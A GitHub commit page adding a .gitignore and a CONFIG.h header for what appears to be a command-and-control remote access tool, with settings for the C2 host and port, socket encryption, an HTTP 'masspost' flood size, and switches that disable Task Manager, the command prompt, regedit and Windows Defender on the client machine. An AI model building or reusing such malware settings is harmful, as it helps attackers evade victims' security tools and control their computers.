Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
Nk125 committed Apr 28, 2022
1 parent 1ac50b4 commit 1b439fe
Show file tree
Hide file tree
Showing 2 changed files with 38 additions and 0 deletions.
5 changes: 5 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
################################################################################
# Este archivo .gitignore ha sido creado automáticamente por Microsoft(R) Visual Studio.
################################################################################

/.vs
33 changes: 33 additions & 0 deletions include/CONFIG.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
#pragma once
#define ENCRYPT 1 // Encrypt TCP Sockets between C2 and Client
// 0: No encrypt, 1: Encrypt
#if ENCRYPT
#define PASSWRD "passwordpasswordpasswordpassword" // It must have 16/24/32 length
#endif

#define HOST_IP "127.0.0.1" // It'll be only used by the client
// It can be an IP or a hostname

// Used if connect (Client) port varies from the listening (Server) port
// #define DIFF_PORTS
#ifdef DIFF_PORTS
#define SRV_PORT 1200
#define CLT_PORT 1400
#else
#define CON_PORT 1400
#endif

#define POST_KB 4 // KBs to send in HTTP masspost body
#define DEACT_TASKMGR 0
#define DEACT_CMD 0 // It also deactivates Run (Win+R)
#define DEACT_REGEDIT 0
#define DEACT_WINDEF 0
// 1: Disable the service, 0: Don't do anything
// All need admin, if you want to be silent, set 0 to all

// MACROS that aren't necessary to change
#define PTXT "PING_TXT" // Ping Text
#define PNOK "PONG_OK" // Pong Text
#define RTTM 5 // Retry Seconds Timeout
#define DELM "," // TCP Delimiter
#define BUF_SZ 1024 // TCP Buffer Size

0 comments on commit 1b439fe

Please sign in to comment.